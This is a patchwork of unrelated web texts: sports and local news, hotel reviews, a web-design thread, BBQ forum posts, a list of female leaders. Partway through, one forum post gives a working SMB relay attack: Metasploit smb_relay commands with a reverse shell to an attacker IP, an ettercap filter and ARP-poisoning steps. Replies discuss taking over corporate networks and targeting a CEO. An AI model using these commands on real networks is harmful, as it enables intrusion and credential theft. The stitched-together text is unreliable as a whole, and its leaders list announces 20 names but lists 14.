Beltre homers, but missed chances hurt Rangers
Slugger struggling with RISP; Grimm fans nine over 6 2/3 innings
ARLINGTON -- Rangers manager Ron Washington said Adrian Beltre can't keep going like this much longer.
"He's going to be a run producer," Washington said. "How close he is, I don't know. I'll tell you one thing, what you saw tonight, you won't see that through the season. That's a guarantee."
What the Rangers saw in a 3-1 loss to the White Sox on Thursday night wasn't good. Beltre did hit his sixth home run of the season in the second inning to give the Rangers an early lead. But he also grounded into an inning-ending double play with the bases loaded in the sixth and struck out with two on and two outs in the eighth.
Those were the Rangers' only two at-bats with runners in scoring position through eight innings, and they lost for the fourth time in the last five games. The Rangers scored 10 runs on Tuesday night but that is turning out to be an aberration. They scored a total of five runs in the four losses and Thursday's came after the White Sox had to scratch starter Jake Peavy because of back spasms.
The Rangers instead went up against reliever Hector Santiago, who was making his fifth Major League start. They managed just three hits against him and four relievers.
"I think the whole team is struggling," outfielder Nelson Cruz said. "We had chances to do some damage tonight and we weren't able to get it done. It's all of us, not just one guy."
That may be true but Beltre is starting to stick out. Rangers cleanup hitters entered Thursday's game with 10 RBIs, tied for the second fewest in the league. Beltre has been their cleanup hitter for 23 of 28 games. He also has just four hits in 34 at-bats with runners in scoring position. Only four hitters in the American League have more at-bats in those situations than Beltre.
"I'm not frustrated, but I'm the kind of guy, I like to produce," Beltre said. "I'm here to produce. Obviously, it's not happening. I'm not frustrated, but of course I want to do better. The team is relying on me right now. I'm getting in a lot of situations where I should be producing and doing a lot better and I'm not doing that."
Lance Berkman, who has been in the Major Leagues as long as Beltre, understands what he's going through.
"It's tough," Berkman said. "He's a guy who is obviously one of the greats. At one level it's comforting to see a guy like Adrian can struggle too. But I don't think it's going to be the case much longer. He's had some really good swings. He hit a home run tonight and he's hit some balls hard right at people. He'll get back on track."
Beltre's home run gave the Rangers a one-run lead and starter Justin Grimm kept it that way through 5 2/3 innings. Then it slipped away quickly.
Conor Gillaspie grounded a single up the middle and Alexei Ramirez flared a hit to left. That put runners on first and second for Tyler Flowers, who hits eighth in the White Sox order. Grimm threw him a breaking ball and it hung up at eye level. Flowers crushed it high and deep down the left-field line for a three-run home run.
'Unfortunately one bad pitch ... that's something that can win or lose a ballgame," Grimm said. "I hung a breaking ball at eye level. It probably would have been a ball if he hadn't swung at it. It wasn't waist level or chest level. It was at his eyes. It caught me off guard."
The Rangers still had plenty of time to overcome a two-run deficit and it was the sixth inning that hurt the most. Santiago got Craig Gentry on a grounder to start the inning, then gave up a double to Ian Kinsler and a walk to Elvis Andrus. Matt Lindstrom took over and walked Berkman to load bases.
That brought up Beltre and, after falling behind 0-2, he hit a weak grounder to Gillaspie, the White Sox third baseman, who started an inning-ending double play.
"It's not comfortable when [Beltre] comes up there, I'll tell you that," White Sox manager Robin Ventura said. "But you put yourselves in that situation. More often than not it's not going to work out. It was nice that we got out of it, but I don't like how we got in that situation."
Beltre had one more chance in the eighth. Leonys Martin led off with a pinch-hit single against reliever Jesse Crain. After Kinsler and Andrus flied out, Berkman drew another walk. This time Beltre went down swinging on a 2-2 curveball that was probably above the strike zone.
"I felt better today though I missed two clutch at-bats in key situations that I didn't come through," Beltre said. "I saw the ball better today. I feel a little better. Hopefully, tomorrow I'll improve."
The Rangers are counting on it and the manager is guaranteeing it.

I want my website can be access from mobile phone but you know i want it display fit on any mobile phone screen. What i want is not only web for mobile device but its also can be access via computer. Lets say i already a website now, <snip/> and i want my website can be access from mobile phone. i often see, usually it use sub domain like m.namedomain.com. How can i do that?
There are various ways to make a site fit to mobiles. You can, for example, [just style it differently for different devices. Or you can build a separate site and place it in a subdomain like m.mysite.com. Then you [URL="http://www.sitepoint.com/forums/4910560"]need a script to detect the device](http://www.alistapart.com/articles/responsive-web-design/) and redirect the device to the correct site.
I've been studying this a lot lately and adding important links to my web site for reference. Take a look at them and see if they will help you: http://iphonedevlog.wordpress.com/phonegapcordova-crib-sheet/#Mobile%20Makeover%20Guidelines
In a nutshell:
"Fluid layouts" section will teach you how to compress or expand content across different screen sizes. "Fluid images" section has links that talk about images and their resizing or replacement across different screen sizes."Media Queries" section has the information on detecting screen sizes and applying the right CSS for each range of sizes.
also go ahead and check this site for mobile development...http://jquerymobile.com/
Here is a good resource i found recently, i hope it helps http://www.thoseios.com/category/frameworks-libraries/
As ralph.m suggested, you can use a script in your root dir to detect the mobile devices and redirect them to m.yoursite.com automatically if you want.
Surprised nobody has mentioned using a responsive 'boilerplate' CSS system like Skeleton?
You code the site up using predefined building blocks and it automatically scales images and column widths to fit the display area available.
Hey K,I was also looking to convert my Wordpress website into a mobile friendly site where I came across this Mobile Website Builder for Wordpress by DudaMobile. It works with all wordpress themes. It has three simple steps to follow- installing the dudamobile wordpress plugin, customizing your mobile website or use the site editor and publish!! Absolutely amazing.. it does the m.namedomain.com automatically.... thanks DudaMobile
This is a great way to making your website mobile friendly. I just loved it. It is simple, easy- no coding is required..this is one great thing noncoders like me loved about this plugin :). And more over the dudamobile.com has the facility to convert non-wordpress website too and to add to it, the service comes in both free & paid versions too
Check it out at http://wordpress.org/extend/plugins/mobile-website-builder-for-wordpress-by-dudamobile
My reply #3 has links to boilerplate CSS.
There are lots of ways to build website which is accessible from all devices. I suggest you to use Liquid Layout for your web designing, which will help to make cross browser compatible website. If you are using liquid layout for your website designing then it will fit with all browser screen. For more information about liquid layout you can follow the link:http://www.adobe.com/devnet/dreamweaver/articles/introducing_new_css_layouts.html
Responsive website design is the latest techniques wherein a website layout automatically resizes according to device screen. With the help of HTML 5 you can easily build a responsive website design which is compatible with Mobile, tablets and computer.
How does HTML5 help? I thought it was a markup language, rather than a layout/presentation language (the job of CSS).
You are totally correct. You can make even an XHTML 1.0 strict website responsive. It's all down to the use of CSS, to make a website responsive.
Some good examples of mobile websites you may check for inspiration http://spyrestudios.com/32-examples-of-usable-mobile-website-layouts/

A friend Cath Ferguson sent me a link to this website, Cath is an experienced local historian and I have been helping her recently with the genealogy part of two of her local history stories. I'm encouraging her to set up a blog/website because her work is amazing and deserves a much wider audience.
Anyway Cath sent me the link to http://foundersandsurvivors.org/ and it is a gem of a site. The front page states Founders & Survivors is a partnership between historians, genealogists, demographers and population health researchers. It seeks to record and study the founding population of 73,000 men women and children who were transported to Tasmania. Many survived their convict experience and went on to help build a new society.
What more can a family historian with ancestors who were sent out to Tasmania want?!! There is a search facility and a forum and also the ability to become a volunteer for the project. I did a search for 'my' John Silcock from Bullington, Hampshire, this is what was found …
Estimated birth year & place of birth
Sentence, place of sentence, trial date
Ships name, Captain & surgeon, port of departure, duration of voyage, arrival date
Gaol & Hulk reports, offence details
Physical description, marital status
Muster dates, Ticket of leave date
There will be many researchers who will wonder if any of their ancestors got a free passage to Tasmania because of some misdemeanor and this site is the place to find out.

Homeowners Remain Frustrated With Sandy Rebuild [AUDIO]
Those FEMA flood maps continue to be a tough pill to swallow for many affected by Sandy.
One group is planning a special information meeting in Ocean County later this month. Meanwhile, the homeowners who want to rebuild are very frustrated and seem to grow more and more with each passing day.
The group Stop FEMA Now is planning the session for Thursday, April 25th in Berkeley Township Elementary School.
It's been almost six months since Sandy, and while crews sweat to get our boardwalks ready for summer, homeowners desperate to rebuild continue to hit brick walls. The revised flood maps won't be out till sometime in August and could take years to be implemented. Many are unsure if they should wait on them or proceed with mending their properties.
Unknown flood elevations, fuzzy math, extreme requirements. Stop Fema Now is fed up over the maps, which they feel contain incomplete and incorrect data.
But here's a valid question for you. Would you shell out $150,000 to raise your home if you weren't sure of the final elevation guidelines?
"At this point, it really makes no sense to do this. We don't have the finalized details and they may change," Group founder George Kasimos says.
"There's a lot of confusion, anger and despair about FEMA's mandates," he explains. "The bureaucrats have admitted their advisory maps have mistakes, but they can't be appealed until late summer. That puts the over-reaching home-raising height requirements into question. Flood victims like me, and anyone in the 18 percent of America under FEMA's jurisdiction, need accurate answers before we decide how to — or if — to rebuild."
"Raising a house can cost $50,000 to $150,000."
Kasimos pointed out that flood insurance will cost as much as $31,000 per year for homes in flood zones, "which is unaffordable to most of us. There could be mass abandonment's and foreclosures in New Jersey and across the country."
Stop FEMA Now was created to inform shore property owners of the hardships they face, and to spur Congress to amend the 2012 Biggert-Waters Act that empowers FEMA.
"FEMA has already lowered our property values with its fuzzy math and extreme requirements," he said. "FEMA has damaged the shore more than Sandy did. Our movement is growing as people realize the harm FEMA has done."
"Together, we can make our voices heard from Trenton to Washington," the founder asserted. "Mayor Amato and I invite Berkeley area residents to get the facts — and get involved — at our meeting on April 26th."
The citizens' organization has details about its mission on their website, Facebook, and Twitter.

The place is perfectly located in the central city The rooms are modern, clean and comfortable, though certainly not bit. But what they lack with size they make up in style The bed was extremely comfortable!!! (we didn't want to get up!) It has a very chic and delicious restaurant on the 4th floor and a beautiful terrasa overlooking the city on the roof (which seems to be very trendy and attracts all of Malaga) All and all - a perfect solution for a stay in Malaga, I will certainly return there again and advise you to do the same! The AC can not be controlled from the room, you have to ask the reception to change the temp There are no side lamps next to the bed, which makes it difficult for one person to sleep while the other still wants to read a book It is difficult to find parking on the streets near by and the other solution is a parking lot which is quite expensive (26.5 euros for a day!)
Excellent location, the room had everything I needed. The hostel is very good located if you desire to enjoy the beach in Malaga. Personal was very friendly and helpful
Hostel is situated in nice part of city. There is helpful and nice staff. In room we heard sounds from vestibule or other rooms. That disturbed us a little.

Excellent location, the room had everything I needed. The hostel is very good located if you desire to enjoy the beach in Malaga. Personal was very friendly and helpful
Nicely located (5 mins from a beach, 15 minutes from Malaga center by a bus, shops and cafeterias nearby). Very clean, very pretty building with nice inside patio for relaxing breakfasts The staff doesn't speak English well (but surely enough to communicate about basics). No catering facilities - but this wasn't a problem since there are nice places to eat just a few paces away.
The room was new and nicely decorated, bathroom big and clean. The service excellent. The small patio to sit down just in the middle of building.
It was good value for the money. Although it was farther out of Malaga than we thought there was a regular bus service No. 11. It was near the beach and there was a supermarket nearby. For two nights out of the three we were disturbed in the early hours by the door bell and the noise coming from the patio area. May I suggest that this area is placed out of bounds from Midnight. Our room wasn't cleaned on the Sunday morning.
Good location near language schools and beach with restaurants and pubs at this rate is a very good offer. Ear plugs recommendable because of location at a main road.
Stayed 2 nights in 2 different rooms. The first one was excellent the second lousy, flooded ceiling, bathrooms without any ventilation! Good location, but a short walk from the beach and restaurants. If you do not speak Spanish and want something else but to pay for a room do not bother to ask.
The location in Pedregalejo, the quiet room No twin beds
Although the room was as described, I personally found it a little on the dark side with insufficient natural daylight although I appreciate that this may be typically "Andalucian". For my four day stay iwith ease of access to Malaga it was ok but I would not spend any longer there. Nothing I particularly disliked. However was a little taken aback to be asked to pay for my four night stay on arrival - this is not mentioned in the Hotel's particulars. This was requested prior to being shown my room and if I had wanted to move on to another location would have presented me with difficulties as I assume no refund would have been forthcoming.
We were given a room with a window as requested. Security was very good. Although no parking we had no difficulty finding a spot on the side streets. The room and bathroom were attractively renovated. Liked that we could walk down to the beach so easily. Staff were very friendly. The towels were not absorbent enough and a better quality would make a difference.

(UPDATED COVERAGE, Nov. 22) Leonard Batti, a produce and fresh-cut produce industry veteran of more than 30 years, is now president of Taylor Fresh Foods Inc.'s Florida operations in Orlando.
Batti joins the subsidiary of Salinas, Calif.-based Taylor Fresh Foods after working numerous positions in the produce industry.
Batti said it is good to work again with Bruce Taylor, Taylor Farms' chairman and chief executive officer.
During the mid-1980s, the two worked at Fresh Express Inc., in Salinas, which was then called FreshCo.
"This company (Taylor Farms) is as good as it gets in our industry," Batti said. "Bruce Taylor has really set the standard for running a top-notch company. I think the future is extremely bright both for the fresh-cut category and for Taylor Farms."
Holding senior management positions since 1989, he was also vice president of operations for Dole Food Co. Inc., Westlake Village, Calif., director of farm operations for Fresh Express Inc. in Salinas, Calif., vice president of operations and product development for Salinas-based Tanimura & Antle Inc., senior vice president of operations for Guadalupe, Calif.-based Apio Inc., and vice president of production and processing for Salinas-based NewStar Fresh Foods.
Most recently, Batti was a managing and senior partner with the Glendale, Calif.-based Mixtec Group and helped open a Salinas office for the produce industry recruitment firm.
He has also advised the industry's senior management including serving on the board of the Newark, Del.-based Produce Marketing Association, was chairman of PMA's foodservice board, served on its Foundation for Industry Talent board, and was on the board of the former International Fresh-cut Produce Association in Alexandria, Va.
Taylor Farms Florida produces fresh-cut product for retail and foodservice customers throughout Florida, south Georgia and the Caribbean.

THE mother of the ''Italian sisters'' has raised nearly $10,000 from online donations to hire an Italian lawyer to try to regain custody of her children, who are still begging to come back to Australia.
The family of the Sunshine Coast mother said on Facebook the donations had enabled them to fight to ''have the girls returned to their home in Australia''.
Born and raised in Italy, the four girls, aged 15, 14, 10 and 9, have been caught in an international custody battle since their mother brought them to Australia on the pretext of a holiday in 2010.
Although the girls pleaded to be allowed to stay here, six weeks ago a Brisbane Family Court judge ordered them return to Italy for the courts there to decide which parent they should live with. There were traumatic scenes as police dragged the girls away from their mother and forced them on to a plane.
Since the sisters returned to their father's village near Florence, relations have remained extremely tense, according to supporters of both parents. Although they are attending school and seeing a counsellor engaged by their father, the girls continue to plead to return to Australia.
After the elder girls attempted to run away, authorities suggested the sisters be separated to try to defuse the situation. Two girls were sent to live with another relative, and all four remain under ''constant supervision'', a supporter of the father said.
The mother's family said on Facebook the girls reiterated in a phone call how much they wanted to return to Australia and begged their mother to get them back.
''The constant pleas for help were heart wrenching, especially since the children report a great deal of duress and sadness because they feel all their wishes are still ignored,'' said one post.
Sources said that what the Family Court judge Colin Forrest had called ''the father's authoritarian style of parenting'' was exacerbating the situation. ''The father is not allowing them out of the house on their own, they're supervised all the time, they're in a secure school,'' a supporter of the father said. But he noted the younger girls appeared to be adapting to life in Italy better than their older sisters.
The father's lawyer could not be reached for comment.

( if anybody has a non javascript workaround please let me know FLASH also has the same security or just gets passed to firefox and then borks )
May be possible to use this trick 301 redirect the user to a local\share
What you need:
* ettercap
* ms framework3
* victim must have admin privs with no blank password and load an HTTP or HTTPS webpage.
* only works for MIM ( LAN etc .. )
** based on HD moore's presentation at Defcon that used WPAD http://video.google.co.uk/videoplay?...56903673801959 'Tactical Exploitation'
change the IP to your IP
Code:use exploit/windows/smb/smb_relay set PAYLOAD windows/shell_reverse_tcp set LHOST 192.168.1.90 set LPORT 21 exploit
# etterfilter makes the smb.ef to use with ettercapCode:if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); # note: replacement string is same length as original string msg("zapped Accept-Encoding!\n"); } } if (ip.proto == TCP && tcp.src == 80) { replace("", " " "); replace("", " " "); msg("Filter Ran.\n"); }
etterfilter smb.filter -o smb.ef
# run ettercap on target
ettercap -T -q -F smb.ef -M ARP // // -P autoadd
# start up msfconsole with the RC script
/pentest/exploits/framework3/msfconsole -r smb.rc
what happends ??
ettercap replaces IMG with \\yourip so then the victim trys to access your SMB_RELAY server for the IMG
then attacker say NO access denied ! victim says OK let me try my login by default
""Great job, but I got the well-known error message, which starts so:
"FAILED! The remote host has only provided us with Guest privileges...."""
read the error before that error the guest error just means the auth failed

Couple of questions:
Must file sharing be enabled on the victim as mentioned in the presentation?
Is this for IE only? I'm seeing IE using  while Firefox is mozicon-url:file:////ip/share/i.jpg
humm ill try it with FF and add the code if it works thanks !
Nice little audit, I wrote a tut similar to this last October check it out.
Can you clarify how this will affect a corporate network? Will all clients be routed through my client by default or can you limit it to those that type in your IP address in the web browser?
Can you clarify how this will affect a corporate network?
total ownage if they have admin rights ( why ? because nobody has a blank password in a corp LAN )
Will all clients be routed through my client by default or can you limit it to those that type in your IP address in the web browser?
you need to read how MIM works and also read up on ettercap how it works etc
simply just make a target list insted of // // use the target IP /victomloser_CEO/ //

CyberWiz - Friday, March 25, 2016 - linkAdata been around for a while. They make Solid State Drives and some what been making Memory too. My 2x8GB of 2800MHz function very well with XMP . Default is 2133, select XMP to get 2800, change number value (multiplier) in BIOS from 28 to 30 as to Overclock for 3000MHz without any voltage adjustment. Some people claim they are Crap (not true) as either they do not understand how to use the Adata memory or they are OCing and trying to set for tighter timings which is unnecessary. I guess OverClockers should of bought 3400MHz modules instead of pushing these to past xxxx frequency. Prices on DDR4 are falling rapidly for Dual sets, Quads are overpriced even though matched up to ensure they function well together. But if you obtain a Dual set not working with the set you have ..RMA / return them and try again. For under $160 you can buy 2 sets of 2x8GB as in 32GB rather than spending $300 for Quad 4x8GB modules and have exactly the same performance at half cost. Why pay more just cause they tested in group of 4 rather than a pair. Adata memory is good and they may not be the best. There are no guarantees but same goes in life. If you are on a budget I recommend buying Adata - for people with unlimited Income and wealthy should look else where if you enjoy complaining. Plenty of clearance as not really tall, check out Corsair memory as they make tall memory heat sinks, unless you are planning a very large Liquid Cooling System to rule over the motherboard then buy some small height memory. Maybe all they needed was a larger case "tower". IDK - If they don't work for you then just say so and a brief reason you think they are not. I'm satisfied as the memory is working good in my rig.

This unique and beautiful "display" tea is handcrafted by tea artisans from a remote mountain village in Anhui province. The highest quality leaf and bud sets are picked in the early spring, carefully arranged in the shape of a flower, and then tied with a silk thread. When covered with hot water, the leaves "blossom" to reveal a sweetly floral aroma and a delicate and smooth flavor. To showcase this tea at its finest, we recommend brewing it in a wine glass or tempered glass cup. Easy to brew, Green Peony makes an impressive finale to a special meal. It also makes a very convenient tea for travellers.
Harvest: Spring 2014
Note: 2 oz. package contains approximately 10 flowers. The package is filled by weight so the number of pieces may vary.

A serial shoplifter and drug addict has been banned from every shop in Kingston town centre after admitting stealing children's toys and a TV from Argos.
Samantha Hicks-Magee, 32, of Polesden Gardens, Raynes Park, pleaded guilty at Wimbledon Magistrates' Court on Monday to stealing from the shop in Adam's Walk last year.
The value of the goods came to £599.99.
Hicks-Magee also admitted stealing £86 worth of meat from the Co-op in King's Road, and not turning up to an appointment at the wellbeing service at Surbiton Health Centre after she tested positive for heroin.
She was bailed until Monday, February 10, to allow the probation service to prepare a pre-sentence report.
She must not go to any shop in the town centre as a condition of her bail.
Hicks-Magee was also convicted in 2010 of a string of theft offences, having stolen items including champagne, meat, perfume sets and vodka.
At the time defence solicitor Warren Mitchell told Kingston Crown Court Hicks-Magee was a mother of two and began taking drugs at 14.
He added: "This is a young lady with a long-term drug problem, who also needs to get off the drugs."

The ICC has announced its qualification process for the 2015 Cricket World Cup to be co-hosted by Australia and NZ.
A reversal to its previous decision to remove associate nations from the tournament, the ICC will now provide two (2) pathways for the twelve (12) teams that will attempt to qualify for the four (4) available spots.
The top two (2) top ranked teams from the present ICC Associate ODI League will automatically qualify for the event, while the remainder of the ICC High Performance teams will be joined by the top two (2) ranked teams from World Cricket League's 2 & 3 in a ten (10) team qualifier.
Although this announcement is a positive step toward an inclusive view of world cricket, many associate nations are still disappointed by the ICC's decision to reduce the number of associate teams for the 2012 World T20 from six (6) to two (2) teams.

A FUNDRAISER for a well-known darts player raised more than £550 for the Adver's 160 Appeal for Prospect Hospice.
A charity darts competition and snail race at the Phoenex Bar in Royal Wootton Bassett raised the money in memory of Sandra Alexander, who died last November following a short illness caused by a heart condition at the age of 67.
Darts played a big role in Sandra's life, and her family thought the competition would be a fitting tribute to her.
Dave Gould, a family friend of Sandra and the landlord of the Phoenex Bar, said: "I think everybody has something they are good at, and they enjoy it.
"Darts has this special buzz for me and for Brian, Sandra's husband, and for all of us.
"A lot of people knew Sandra and a lot of people wanted to do something to remember her by. Because she was so involved with darts we thought it would be a fitting way to remember her."
They decided to put the money towards supporting others at Prospect Hospice after reading about the Adver's appeal.
Dave said: "We organised a Sandra Alexander Memorial Trophy in her memory.
"We want to make it an annual thing, and it went really well. We had about 58 players come along to take part from all over, from Devizes, from Marlborough, and from Cirencester.
"We also held a charity snail race, where people could place bets on a snail or buy one and then you watch the race as a cartoon on the television."
The team from the Fox and Hounds in Haydon Wick were the overall winners of the darts competition, and many people donated their winnings to the cause.
Norma Gould, Dave's wife, said: "We wanted to raise between £300 and £500, and we exceeded that, which is brilliant, and everyone had a good time too.
"We just want to say a big thank you to all the players who came along. We were a bit worried because it was a Saturday night and a lot of people just want to stay in but so many people came along. A particular thank you to Dave Grove from Marlborough Football Club, Andrew Reynolds from the Bees Knees in Cirencester and Dave Radway."
Sandra's widower, Brian, who has played for local darts clubs for nearly 60 years and currently plays at the Tawny Owl, Jester's and Phoenex Bar, also felt that the evening was a fitting tribute.
The 74-year-old said: "She loved darts and she played herself many years ago and we just thought it would be a good thing to do.
"She had no vice, she used to say I don't drink, I don't smoke so I can swear, and cursing was her only vice."

THE University of York will be one of the beneficiaries of a £60m investment in scientific research by the Government.
Business Secretary Vince Cable has announced that the university will be allocated £630,000 to help scientists and engineers at the facility create businesses from their research, and improve entrepreneurship.
The funding, known as Impact Acceleration Accounts (IAA) comes from the Engineering and Physical Sciences Research Council (EPSRC), one of the UK's main funding agencies for scientific research.
It will support the university's projects in EPSRC-funded departments, and broaden engagement between scientists and business.
Professor John Local, pro-vice-chancellor for research, said: "We welcome the award of the Impact Accelerator Account which we shall use to increase the successful commercialisation of EPSRC-funded research.
"It will ease the transition from initial idea to commercial reality at a time when access to external sources of funding is increasingly challenging.
"The IAA will also help us to broaden the scope of business engagement with EPSRC-relevant academic departments. We also want to support opportunities for researcher mobility across the academic-business divide."
The investment will help companies engage with research projects at early stages to allow them to benefit from research breakthroughs, and will be used to support partnerships with companies to take some of the risk out of their investment.
The funding will also support the early stages of turning research into commercial propositions, known as the "Valley of Death", between research ideas and developing it to the stage where a company or venture capitalist might be interested.
Professor Dave Delpy, EPSRC chief executive, said: "The research we support is recognised as outstanding on the international stage. These awards aim to make a step change in the impact that has on society, generating new business opportunities which drive economic growth, creating better, more informed, public policy."

There has been a significant weakening in China's exchange rate in recent days. Although the spot rate against the dollar has moved by only about 1.3 per cent, this is actually a large move by the standards of this managed exchange rate. Furthermore, the move is in the opposite direction to the strengthening trend seen in the exchange rate over the past three years.
This has triggered some pain among investors holding long renminbi "carry" trades, along with much debate in the foreign exchange market about what the Chinese authorities are planning to do next. Since China does not explain its internal or external monetary policy in a transparent manner that is intelligible to outsiders, there is much scope for misunderstanding its true intentions. The key question is whether the Chinese authorities are changing their commitment to a strong exchange rate and, if so, why? Read more

Welcome to the board. There are several postings that may answer your questions here. I suggest trying the search function on this site for information about pulled pork. There have been several postings and replys that may be helpful to you. There is also a link for pork at
In addition Steven Raichlen has a good description on how to make pulled pork on Pg.106 in his "How To Grill" book including descriptive pictures. His book "BBQ USA" also contains quite a bit of info beginning on Pg. 234.
I hope this is helpful to you, explore the site, and enjoy. Good Luck

Welcome aboard!! Steven's books are all awesome. Great reference material, as well as encouraging one to experiment.
The way I cook Boston Butt on a kettle is pretty simple. Rub the Butts with a good homemade rub, (that didn't come out right did it?) Anyway, wrap them up and ref. overnight. The next day, put in the side baskets or grates if you have them, Light the charcoal chimney (full). When the fire is right, dump it 50-50 on each side. Throw a big handful of soaked hickory chips on each side, put on the butts' ( a 22.5 kettle will hold two in the middle), and set the drafts to get a temp of about 250 degrees. Lower than this is sometimes hard on a kettle. Every hour or so, mop the butts with a baste of vinegar onion bourbon or your preference. And after 1.5 hours, start afew more coals in the chimney to keep the fire banked. When you baste, add wood chips. The whole deal usually takes about 5 hrs, depending upon the size of the cut, and the outside temp & wind. I like about 190-195 internal temp. Let it sit, shred it up to a good consistency, grab a cold one, let the good times roll.
I personally like to smoke with green wood, but thats usually on large pit, and is more involved, not to mention having to play Paul Bunyan to get my own wood.
Most of the rubs and sauces I use are variations of the ones in Steven's books.
Always remember two things with pork, 1). Slow
2). Low
Hope that this helps, Craig

To brine or not to brine that is the question?
I firmly believe that pork have to be brined, especially thick cuts such a Boston butt or fresh ham. Brining just adds another dimension of flavor to pork. Some may say, brining dries out the meat. This is not true when using a cut such as Boston Butt. Why? Well because it has so much fat that keep it very well basted.
To prove that brining helps in improving the flavor, I once preformed the following experiment: I used Allspice in the brine to see how far the flavor will go. You may ask why Allspice? Because allspice has a very distinguished and strong flavor.
Ingredients used:
1 cup dark brown sugar
1 ½ cups of coarse salt
2 quarts water
7 to 8 pound Boston butt (pork shoulder)
4 tbs of ground Allspice
I soaked the pork over night in the brine and slow smoked it (at 225 dg) the next day until internal temp was 197 F.
I pulled the pork in sections to test my theory. I tasted each layer (about ½ inch sections) to find out how far the allspice had gone through. I truly was able to taste the spice to almost 80% deep into the meat.
In conclusion, I truly believe that brining does help in carrying the rub flavor (no matter what type you use) deep into the meat. Whether you agree with this experiment or not, please give it a try before you judge it. By the way, the meat was not dry at all.

Use your brinkman first of all--It is easier to go low and slow with.
I rub the butt with 2 tbs of paprika, 2 tbs granulated garlic, 2 tbs ginger powder, 2 tbs brown sugar, 1tbs ground mustard, sea salt and pepper to taste.
Wrap the butt in plastic wrap and refrigerate overnight.
Heat smoker to 225 degrees for 20 to 30 minutes.
Soak applewood chips for at least an hour--applewood gives pork the best flavor.
while cooking the butt I mist it every 30-40 minutes with 2/3 apple cider and 2/3 apple cider vinegar.
The butt is done when the internal temp is 190 degrees.
Take it out of the smoker and let it rest on the cutting board with foil wrapped loosely, for 20-30 minutes.
Then you pull it. Careful, it will be hot has heck. I use some heat resistant rubber gloves to pull with.
You can't miss!

No man, you don't brine Caroina Q! Sacrilege! In addition to the excellent advice on the kettle, put a drip pan underneath and fill it half way with water. But I agree, use the smoker.

BBcue-Z, I think that's the first time I've ever heard of anyone brining a pork butt. I won't knock it, havent' ever tried it. But, for our tastes, a simple rub is the best as it's the flavor of the pork and smoke combination I'm looking for. There's so much fat in a pork butt that dry meat is never a problem.
Just my two cents.
I like vegetarians. Some of my favorite foods are vegetarians.

I'm not against trying new things but man, you're messin with Carolina Q! I concur with Scott, I get loads of flavor doing it the tried and true time honored way; the meat itself is the thing and when its pulled or chopped, the Mr. Brown mixed in is heaven without any help.

With all respect to smoking pork butt the traditional way, I just like to do thing differently every now and then. I wanted to flavor the pork all the way through (this my own preference), so I thought a little bet of food science wouldn't do any harm. I was amazed with the results and how much flavor I got out of it.

Most people that desire more flavor just use sauce. The meat is exposed after smoking anyway (pulled, chopped or sliced mostly). Why don't you try coming up with a sauce you like instead of making yourself all of that extra work?

Somehow I missed all this good conversation yesterday.
Welcome to the board Blackdog! There's a lot of good information covered here, some traditional and some innovative. I would also choose your Pitmaster for cooking a Boston Butt. It can be done on you Weber but I think you'll have better results on a smoker. Though apple wood is by far the choice of most for flavoring pork, oak will also do well. I have oak, mesquite, pecan, and hickory to choose from, as I haven't found a local supply for fruit woods yet. So I have used hickory and pecan in the past with good results. Give us a follow-up report and let us know how it goes. If you have trouble we'll try to help out. We often refer to Steven's recipes by book & page, if you don't already own one, take a look at 'How to Grill' the next time you're near a book stand. It's truly a "must have"! As you are new to the board, might I suggest that you review the discussion threads about keeping a BBQ Log? The log will help you avoid mistakes down the road and repeat successes. Also take photos for posting on the Internet if possible. We all enjoy sharing the obsession.
BBcue-Z, I've never brined a butt before, but your solution is similar to brine that I've used on thick cut pork chops and they were very good. We had Coke Can Chicken this weekend and for the first time I DIDN'T brine it. There were subtle yet noticeable differences in the taste and texture of the meat. I like it better brined and my wife prefers it without the brine.
Like we've said in other recent discussions, if you're paying for the meal, and especially if you're cooking it, you should eat what you like.

There are several factors that can affect times. Outdoor temps, cooker temps, meat mass, how often the smoker door/lid is opened and how long, humidity, etc. No matter how good you are the times will fluctuate from one smoking to the next. I highly recommend a remote temperature probe when smoking. You insert the probe into the thickest part of the meat without touching a bone and leave it for the duration. It has a metal braided lead on it about a meter long that plugs into a base thermometer with liquid crystal readout. This will allow you to monitor the exact internal temperature of the meat so that you know when it's done without over/under cooking it. It takes the guesswork out of smoking. After a little practice you can even predict when the meat will be done by watching the temperature rise.
I have a Taylor thermometer that I picked up from Target:
http://www.target.com/gp/detail.html/sr ... B00004XSC5
. Polder also makes a good remote unit. You can spend less that $20 or as much as $80 or more for different ones. Some had wireless remote units that you can monitor from 100 feet away. My $14 remote thermometer works quite well and I wouldn't want to go back to guessing.
Another option is the instant read thermometer. They work as well in reading the internal temperature, but with a few drawbacks. You have to open the smoker/grill, and you have to poke a hole in your meat which will allow juices to escape. This type of thermometer can be used on a hot grill whereas a remote should not.
Hope this helps.

Martin Scorsese is to executive produce British drama Tomorrow, the feature directorial debut of Scorsese's long time script supervisor Martha Pinson.
For full production details visit
Casting is underway on the London-set drama, written by Stuart Brennan and Sebastian Street, which revolves around five people who are determing to live for today and not wait for tomorrow.
London-based Burn Hand Film Productions will produce, with the lead producers Neil Jones and Dean Mitchell joined by executive producers Emma Tillinger Koskoff and Scorsese.
Mitchell commented: "It's an amazing script, with colourful characters and a truly uplifting story. The film deals with a number of important issues, including HIV and soldiers returning home with post-traumatic stress disorder and will be making an important statement in how it addresses these. With Martha at the helm, it's going to be a beautiful picture."
Tomorrow is anticipated to shoot later this year.

In my previous blog post I quoted from the UK Equality and Human Rights Commission's recent report bemoaning the lack of women in leading positions, including in politics.
It motivated me to research just how many of today's presidents and national leaders were female.
The list, I am reasonably sure, is 20-strong. Mary McAleese, who has served as president of Ireland since November 1997, is the veteran in terms of tenure, while half the list have been in their posts for less than 18 months. The latest addition is Yingluck Shinawatra – younger sister of deposed Thai leader Thaksin Shinawatra – who was appointed as prime minister of Thailand not even a month ago.
The list (ordered by date of appointment):
- President Mary McAleese (Ireland)
- President Tarja Halonen (Finland)
- Chancellor Angela Merkel (Germany)
- President Ellen Johnson-Sirleaf (Liberia)
- President Pratibha Patil (India)
- President Cristina Fernández de Kirchner (Argentina)
- Prime Minister Sheikh Hasina Wajed (Bangladesh)
- Prime Minister Jóhanna Sigurdardóttir (Iceland)
- Prime Minister Jadranka Kosor (Croatia)
- President Dalia Grybauskaite (Lithuania)
- President Roza Otunbayeva (Kyrgyzstan)
- President Laura Chinchilla (Costa Rica)
- Prime Minister Kamla Persad-Bissessar (Trinidad and Tobago)
- Prime Minister Julia Gillard (Australia)
